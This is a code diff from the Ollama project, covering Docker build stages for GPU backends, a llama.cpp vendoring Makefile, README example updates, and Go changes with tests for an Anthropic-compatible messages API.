&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_jetpack5 \
|
||||
&& cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_jetpack5
|
||||
COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache git unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_jetpack6 \
|
||||
&& cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_jetpack6
|
||||
COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# MLX stage
|
||||
#
|
||||
cmake --preset 'Vulkan' \
|
||||
&& cmake --build --preset 'Vulkan' -- -l $(nproc) \
|
||||
&& cmake --install build --component Vulkan --strip
|
||||
|
||||
FROM base AS mlx
|
||||
ARG CUDA13VERSION=13.0
|
||||
ARG OLLAMA_MLX_BUILD_JOBS=
|
||||
ARG OLLAMA_MLX_NVCC_THREADS=2
|
||||
ARG MLX_CUDA_RAM_MB=
|
||||
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
|
||||
&& dnf install -y openblas-devel lapack-devel \
|
||||
&& dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
|
||||
@@ -212,9 +154,8 @@ ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
|
||||
ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
|
||||
WORKDIR /go/src/github.com/ollama/ollama
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY cmake cmake
|
||||
COPY mlx mlx
|
||||
COPY x/mlxrunner/mlx x/mlxrunner/mlx
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
COPY x/imagegen/mlx x/imagegen/mlx
|
||||
COPY go.mod go.sum .
|
||||
COPY MLX_VERSION MLX_C_VERSION .
|
||||
RUN curl -fsSL https://golang.org/dl/go$(awk '/^go/ { print $2 }' go.mod).linux-$(case $(uname -m) in x86_64) echo amd64 ;; aarch64) echo arm64 ;; esac).tar.gz | tar xz -C /usr/local
|
||||
@@ -229,15 +170,9 @@ RUN --mount=type=cache,target=/root/.ccache \
|
||||
&& if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
|
||||
export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
|
||||
fi \
|
||||
&& cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
|
||||
&& cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
|
||||
|
||||
FROM scratch AS publish-mlx
|
||||
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# Go build
|
||||
#
|
||||
&& cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas \
|
||||
&& cmake --build --preset 'MLX CUDA 13' -- -l $(nproc) \
|
||||
&& cmake --install build --component MLX --strip
|
||||
|
||||
FROM base AS build
|
||||
WORKDIR /go/src/github.com/ollama/ollama
|
||||
@@ -255,62 +190,38 @@ ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
|
||||
RUN --mount=type=cache,target=/root/.cache/go-build \
|
||||
go build -trimpath -buildmode=pie -o /bin/ollama .
|
||||
|
||||
FROM scratch AS publish-go
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
#
|
||||
# Assembly stages — combine llama-server variants + GPU runtime libs
|
||||
#
|
||||
|
||||
FROM --platform=linux/amd64 scratch AS amd64
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
|
||||
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=vulkan dist/lib/ollama /lib/ollama/
|
||||
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 scratch AS arm64
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
|
||||
|
||||
FROM scratch AS rocm
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
|
||||
COPY --from=rocm-7 dist/lib/ollama /lib/ollama
|
||||
|
||||
FROM --platform=linux/amd64 scratch AS amd64-archive
|
||||
COPY --from=amd64 /lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 scratch AS arm64-archive
|
||||
COPY --from=arm64 /lib/ollama /lib/ollama/
|
||||
|
||||
FROM ${TARGETARCH}-archive AS archive
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
FROM ${FLAVOR} AS image-archive
|
||||
FROM ${FLAVOR} AS archive
|
||||
COPY --from=cpu dist/lib/ollama /lib/ollama
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
FROM ubuntu:24.04
|
||||
ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
|
||||
ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
|
||||
RUN sed -i \
|
||||
-e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
|
||||
-e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
|
||||
/etc/apt/sources.list.d/ubuntu.sources \
|
||||
RUN sed -i "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" /etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y ca-certificates libvulkan1 libopenblas0 \
|
||||
&& sed -i \
|
||||
-e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
|
||||
-e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
|
||||
/etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& sed -i "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" /etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
COPY --from=image-archive /bin /usr/bin
|
||||
COPY --from=archive /bin /usr/bin
|
||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
COPY --from=image-archive /lib/ollama /usr/lib/ollama
|
||||
COPY --from=archive /lib/ollama /usr/lib/ollama
|
||||
ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
|
||||
ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
|
||||
ENV NVIDIA_VISIBLE_DEVICES=all
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
b10488
|
||||
@@ -1 +1 @@
|
||||
27fec909a3df9e572f5195607a453e273e7d80d0
|
||||
e8ebdebeeb655feaa85a51f6b24ece5b6d5518d1
|
||||
@@ -0,0 +1,76 @@
|
||||
UPSTREAM=https://github.com/ggml-org/llama.cpp.git
|
||||
WORKDIR=llama/vendor
|
||||
FETCH_HEAD=ec98e2002
|
||||
|
||||
.PHONY: help
|
||||
help:
|
||||
@echo "Available targets:"
|
||||
@echo " sync Sync with upstream repositories"
|
||||
@echo " checkout Checkout upstream repository"
|
||||
@echo " apply-patches Apply patches to local repository"
|
||||
@echo " format-patches Format patches from local repository"
|
||||
@echo " clean Clean local repository"
|
||||
@echo
|
||||
@echo "Example:"
|
||||
@echo " make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
|
||||
|
||||
.PHONY: sync
|
||||
sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
|
||||
|
||||
llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
|
||||
sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
|
||||
|
||||
ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
|
||||
go generate ./$(@D)
|
||||
|
||||
.PHONY: llama/llama.cpp
|
||||
llama/llama.cpp: llama/vendor
|
||||
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
|
||||
|
||||
.PHONY: ml/backend/ggml/ggml
|
||||
ml/backend/ggml/ggml: llama/vendor
|
||||
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
|
||||
|
||||
PATCHES=$(wildcard llama/patches/*.patch)
|
||||
PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
|
||||
|
||||
.PHONY: apply-patches
|
||||
.NOTPARALLEL:
|
||||
apply-patches: $(PATCHED)
|
||||
|
||||
llama/patches/.%.patched: llama/patches/%.patch
|
||||
@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
|
||||
touch $@; \
|
||||
else \
|
||||
echo "Patch failed. Resolve any conflicts then continue."; \
|
||||
echo "1. Run 'git -C $(WORKDIR) am --continue'"; \
|
||||
echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'"; \
|
||||
echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: checkout
|
||||
checkout: $(WORKDIR)
|
||||
git -C $(WORKDIR) fetch
|
||||
git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
|
||||
|
||||
$(WORKDIR):
|
||||
git clone $(UPSTREAM) $(WORKDIR)
|
||||
|
||||
.PHONY: format-patches
|
||||
format-patches: llama/patches
|
||||
git -C $(WORKDIR) format-patch \
|
||||
--no-signature \
|
||||
--no-numbered \
|
||||
--zero-commit \
|
||||
-o $(realpath $<) \
|
||||
$(FETCH_HEAD)
|
||||
|
||||
.PHONY: clean
|
||||
clean: checkout
|
||||
@git -C $(WORKDIR) am --abort || true
|
||||
$(RM) llama/patches/.*.patched
|
||||
|
||||
.PHONY: print-base
|
||||
print-base:
|
||||
@echo $(FETCH_HEAD)
|
||||
@@ -65,7 +65,7 @@ To launch a specific integration:
|
||||
ollama launch claude
|
||||
```
|
||||
|
||||
Supported integrations include [Claude Code](https://docs.ollama.com/integrations/claude-code), [Codex](https://docs.ollama.com/integrations/codex), [Copilot CLI](https://docs.ollama.com/integrations/copilot-cli), [DeepSeek Harness](https://docs.ollama.com/integrations/deepseek-harness), [Droid](https://docs.ollama.com/integrations/droid), and [OpenCode](https://docs.ollama.com/integrations/opencode).
|
||||
Supported integrations include [Claude Code](https://docs.ollama.com/integrations/claude-code), [Codex](https://docs.ollama.com/integrations/codex), [Copilot CLI](https://docs.ollama.com/integrations/copilot-cli), [Droid](https://docs.ollama.com/integrations/droid), and [OpenCode](https://docs.ollama.com/integrations/opencode).
|
||||
|
||||
### AI assistant
|
||||
|
||||
@@ -77,10 +77,10 @@ ollama launch openclaw
|
||||
|
||||
### Chat with a model
|
||||
|
||||
Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
|
||||
Run and chat with [Gemma 3](https://ollama.com/library/gemma3):
|
||||
|
||||
```
|
||||
ollama run gemma4
|
||||
ollama run gemma3
|
||||
```
|
||||
|
||||
See [ollama.com/library](https://ollama.com/library) for the full list.
|
||||
@@ -93,7 +93,7 @@ Ollama has a REST API for running and managing models.
|
||||
|
||||
```
|
||||
curl http://localhost:11434/api/chat -d '{
|
||||
"model": "gemma4",
|
||||
"model": "gemma3",
|
||||
"messages": [{
|
||||
"role": "user",
|
||||
"content": "Why is the sky blue?"
|
||||
@@ -113,7 +113,7 @@ pip install ollama
|
||||
```python
|
||||
from ollama import chat
|
||||
|
||||
response = chat(model='gemma4', messages=[
|
||||
response = chat(model='gemma3', messages=[
|
||||
{
|
||||
'role': 'user',
|
||||
'content': 'Why is the sky blue?',
|
||||
@@ -132,7 +132,7 @@ npm i ollama
|
||||
import ollama from "ollama";
|
||||
|
||||
const response = await ollama.chat({
|
||||
model: "gemma4",
|
||||
model: "gemma3",
|
||||
messages: [{ role: "user", content: "Why is the sky blue?" }],
|
||||
});
|
||||
console.log(response.message.content);
|
||||
|
||||
@@ -78,11 +78,6 @@ type MessagesRequest struct {
|
||||
ToolChoice *ToolChoice `json:"tool_choice,omitempty"`
|
||||
Thinking *ThinkingConfig `json:"thinking,omitempty"`
|
||||
Metadata *Metadata `json:"metadata,omitempty"`
|
||||
OutputConfig *OutputConfig `json:"output_config,omitempty"`
|
||||
}
|
||||
|
||||
type OutputConfig struct {
|
||||
Effort string `json:"effort,omitempty"`
|
||||
}
|
||||
|
||||
// MessageParam represents a message in the request
|
||||
@@ -166,7 +161,7 @@ type WebSearchToolResultError struct {
|
||||
|
||||
// ImageSource represents the source of an image
|
||||
type ImageSource struct {
|
||||
Type string `json:"type"` // "base64"
|
||||
Type string `json:"type"` // "base64" or "url"
|
||||
MediaType string `json:"media_type,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
@@ -378,26 +373,9 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
|
||||
}
|
||||
|
||||
var think *api.ThinkValue
|
||||
normalizedEffort := ""
|
||||
if r.OutputConfig != nil {
|
||||
normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
|
||||
if normalizedEffort == "xhigh" {
|
||||
normalizedEffort = "high"
|
||||
}
|
||||
}
|
||||
|
||||
if r.Thinking != nil && r.Thinking.Type == "enabled" {
|
||||
think = &api.ThinkValue{Value: true}
|
||||
}
|
||||
if r.Thinking != nil && r.Thinking.Type == "disabled" {
|
||||
think = &api.ThinkValue{Value: false}
|
||||
}
|
||||
if think == nil && r.OutputConfig != nil {
|
||||
switch normalizedEffort {
|
||||
case "high", "medium", "low", "max":
|
||||
think = &api.ThinkValue{Value: normalizedEffort}
|
||||
}
|
||||
}
|
||||
|
||||
stream := r.Stream
|
||||
convertedRequest := &api.ChatRequest{
|
||||
@@ -447,12 +425,17 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
return nil, errors.New("invalid image source")
|
||||
}
|
||||
|
||||
decoded, err := resolveImageSource(block.Source)
|
||||
if err != nil {
|
||||
logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
|
||||
return nil, err
|
||||
if block.Source.Type == "base64" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(block.Source.Data)
|
||||
if err != nil {
|
||||
logutil.Trace("anthropic: invalid base64 image data", "role", role, "error", err)
|
||||
return nil, fmt.Errorf("invalid base64 image data: %w", err)
|
||||
}
|
||||
images = append(images, decoded)
|
||||
} else {
|
||||
logutil.Trace("anthropic: unsupported image source type", "role", role, "source_type", block.Source.Type)
|
||||
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", block.Source.Type)
|
||||
}
|
||||
images = append(images, decoded)
|
||||
|
||||
case "tool_use":
|
||||
toolUseBlocks++
|
||||
@@ -474,16 +457,26 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
|
||||
case "tool_result":
|
||||
toolResultBlocks++
|
||||
resultContent, resultImages, err := convertToolResultContent(block.Content)
|
||||
if err != nil {
|
||||
logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
|
||||
return nil, err
|
||||
var resultContent string
|
||||
|
||||
switch c := block.Content.(type) {
|
||||
case string:
|
||||
resultContent = c
|
||||
case []any:
|
||||
for _, cb := range c {
|
||||
if cbMap, ok := cb.(map[string]any); ok {
|
||||
if cbMap["type"] == "text" {
|
||||
if text, ok := cbMap["text"].(string); ok {
|
||||
resultContent += text
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
toolResults = append(toolResults, api.Message{
|
||||
Role: "tool",
|
||||
Content: resultContent,
|
||||
Images: resultImages,
|
||||
ToolCallID: block.ToolUseID,
|
||||
})
|
||||
|
||||
@@ -515,10 +508,6 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
}
|
||||
}
|
||||
|
||||
if role == "user" && len(toolResults) > 0 {
|
||||
messages = append(messages, toolResults...)
|
||||
}
|
||||
|
||||
if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
|
||||
m := api.Message{
|
||||
Role: role,
|
||||
@@ -530,10 +519,8 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
messages = append(messages, m)
|
||||
}
|
||||
|
||||
// Add tool results as separate messages.
|
||||
if role != "user" || len(toolResults) == 0 {
|
||||
messages = append(messages, toolResults...)
|
||||
}
|
||||
// Add tool results as separate messages
|
||||
messages = append(messages, toolResults...)
|
||||
logutil.Trace("anthropic: converted block message",
|
||||
"role", role,
|
||||
"blocks", len(msg.Content),
|
||||
@@ -777,18 +764,6 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
|
||||
}
|
||||
|
||||
if r.Message.Thinking != "" && !c.thinkingDone {
|
||||
if c.textStarted {
|
||||
events = append(events, StreamEvent{
|
||||
Event: "content_block_stop",
|
||||
Data: ContentBlockStopEvent{
|
||||
Type: "content_block_stop",
|
||||
Index: c.contentIndex,
|
||||
},
|
||||
})
|
||||
c.contentIndex++
|
||||
c.textStarted = false
|
||||
}
|
||||
|
||||
if !c.thinkingStarted {
|
||||
c.thinkingStarted = true
|
||||
events = append(events, StreamEvent{
|
||||
@@ -994,71 +969,6 @@ func GenerateMessageID() string {
|
||||
return generateID("msg")
|
||||
}
|
||||
|
||||
func resolveImageSource(source *ImageSource) (api.ImageData, error) {
|
||||
if source.Type != "base64" {
|
||||
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
|
||||
}
|
||||
|
||||
decoded, err := base64.StdEncoding.DecodeString(source.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid base64 image data: %w", err)
|
||||
}
|
||||
|
||||
return decoded, nil
|
||||
}
|
||||
|
||||
func convertToolResultContent(content any) (string, []api.ImageData, error) {
|
||||
switch c := content.(type) {
|
||||
case nil:
|
||||
return "", nil, nil
|
||||
case string:
|
||||
return c, nil, nil
|
||||
case []any:
|
||||
var text strings.Builder
|
||||
var images []api.ImageData
|
||||
|
||||
for _, cb := range c {
|
||||
cbMap, ok := cb.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
switch cbMap["type"] {
|
||||
case "text":
|
||||
if t, ok := cbMap["text"].(string); ok {
|
||||
text.WriteString(t)
|
||||
}
|
||||
case "image":
|
||||
rawSource, ok := cbMap["source"].(map[string]any)
|
||||
if !ok {
|
||||
return "", nil, errors.New("invalid tool_result image source")
|
||||
}
|
||||
|
||||
var source ImageSource
|
||||
if rawType, ok := rawSource["type"].(string); ok {
|
||||
source.Type = rawType
|
||||
}
|
||||
if rawMediaType, ok := rawSource["media_type"].(string); ok {
|
||||
source.MediaType = rawMediaType
|
||||
}
|
||||
if rawData, ok := rawSource["data"].(string); ok {
|
||||
source.Data = rawData
|
||||
}
|
||||
|
||||
img, err := resolveImageSource(&source)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
images = append(images, img)
|
||||
}
|
||||
}
|
||||
|
||||
return text.String(), images, nil
|
||||
default:
|
||||
return "", nil, nil
|
||||
}
|
||||
}
|
||||
|
||||
// ptr returns a pointer to the given string value
|
||||
func ptr(s string) *string {
|
||||
return &s
|
||||
@@ -1075,7 +985,7 @@ type CountTokensRequest struct {
|
||||
|
||||
// EstimateInputTokens estimates input tokens from a MessagesRequest (reuses CountTokensRequest logic)
|
||||
func EstimateInputTokens(req MessagesRequest) int {
|
||||
return EstimateCountTokens(CountTokensRequest{
|
||||
return estimateTokens(CountTokensRequest{
|
||||
Model: req.Model,
|
||||
Messages: req.Messages,
|
||||
System: req.System,
|
||||
@@ -1089,10 +999,10 @@ type CountTokensResponse struct {
|
||||
InputTokens int `json:"input_tokens"`
|
||||
}
|
||||
|
||||
// EstimateCountTokens returns a rough estimate of tokens (len/4).
|
||||
// estimateTokens returns a rough estimate of tokens (len/4).
|
||||
// TODO: Replace with actual tokenization via Tokenize API for accuracy.
|
||||
// Current len/4 heuristic is a rough approximation (~4 chars/token average).
|
||||
func EstimateCountTokens(req CountTokensRequest) int {
|
||||
func estimateTokens(req CountTokensRequest) int {
|
||||
var totalLen int
|
||||
|
||||
// Count system prompt
|
||||
|
||||
@@ -3,7 +3,6 @@ package anthropic
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
@@ -272,241 +271,6 @@ func TestFromMessagesRequest_WithToolResult(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithToolResultImage(t *testing.T) {
|
||||
imgData, _ := base64.StdEncoding.DecodeString(testImage)
|
||||
|
||||
req := MessagesRequest{
|
||||
Model: "test-model",
|
||||
MaxTokens: 1024,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: []ContentBlock{
|
||||
{
|
||||
Type: "tool_result",
|
||||
ToolUseID: "call_img",
|
||||
Content: []any{
|
||||
map[string]any{"type": "text", "text": "Attached image"},
|
||||
map[string]any{
|
||||
"type": "image",
|
||||
"source": map[string]any{
|
||||
"type": "base64",
|
||||
"media_type": "image/png",
|
||||
"data": testImage,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if len(result.Messages) != 1 {
|
||||
t.Fatalf("expected 1 message, got %d", len(result.Messages))
|
||||
}
|
||||
|
||||
msg := result.Messages[0]
|
||||
if msg.Role != "tool" {
|
||||
t.Errorf("expected role 'tool', got %q", msg.Role)
|
||||
}
|
||||
if msg.ToolCallID != "call_img" {
|
||||
t.Errorf("expected tool_call_id 'call_img', got %q", msg.ToolCallID)
|
||||
}
|
||||
if msg.Content != "Attached image" {
|
||||
t.Errorf("unexpected content: %q", msg.Content)
|
||||
}
|
||||
if len(msg.Images) != 1 {
|
||||
t.Fatalf("expected 1 image, got %d", len(msg.Images))
|
||||
}
|
||||
if string(msg.Images[0]) != string(imgData) {
|
||||
t.Error("image data mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithToolResultFollowedByUserText(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "test-model",
|
||||
MaxTokens: 1024,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "assistant",
|
||||
Content: []ContentBlock{
|
||||
{
|
||||
Type: "tool_use",
|
||||
ID: "call_read",
|
||||
Name: "Read",
|
||||
Input: makeArgs("file_path", "/Users/hoyyeva/Desktop/aaa.png"),
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
Role: "user",
|
||||
Content: []ContentBlock{
|
||||
{
|
||||
Type: "tool_result",
|
||||
ToolUseID: "call_read",
|
||||
Content: "Read image (311.5KB)",
|
||||
},
|
||||
{
|
||||
Type: "text",
|
||||
Text: ptr("Please describe it."),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("expected 3 messages, got %d", len(result.Messages))
|
||||
}
|
||||
|
||||
if result.Messages[1].Role != "tool" {
|
||||
t.Fatalf("expected second message to be tool, got %q", result.Messages[1].Role)
|
||||
}
|
||||
if result.Messages[1].ToolCallID != "call_read" {
|
||||
t.Fatalf("expected tool_call_id 'call_read', got %q", result.Messages[1].ToolCallID)
|
||||
}
|
||||
if result.Messages[2].Role != "user" {
|
||||
t.Fatalf("expected third message to be user, got %q", result.Messages[2].Role)
|
||||
}
|
||||
if result.Messages[2].Content != "Please describe it." {
|
||||
t.Fatalf("unexpected user content: %q", result.Messages[2].Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithOutputConfigEffort(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "high",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set from output_config.effort")
|
||||
}
|
||||
|
||||
if got := result.Think.String(); got != "high" {
|
||||
t.Fatalf("expected think level 'high', got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithOutputConfigEffortXHighMapsToHigh(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "xhigh",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set from output_config.effort")
|
||||
}
|
||||
|
||||
if got := result.Think.String(); got != "high" {
|
||||
t.Fatalf("expected think level 'high' for xhigh effort, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_ThinkingDisabledOverridesOutputConfigEffort(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
Thinking: &ThinkingConfig{
|
||||
Type: "disabled",
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "high",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
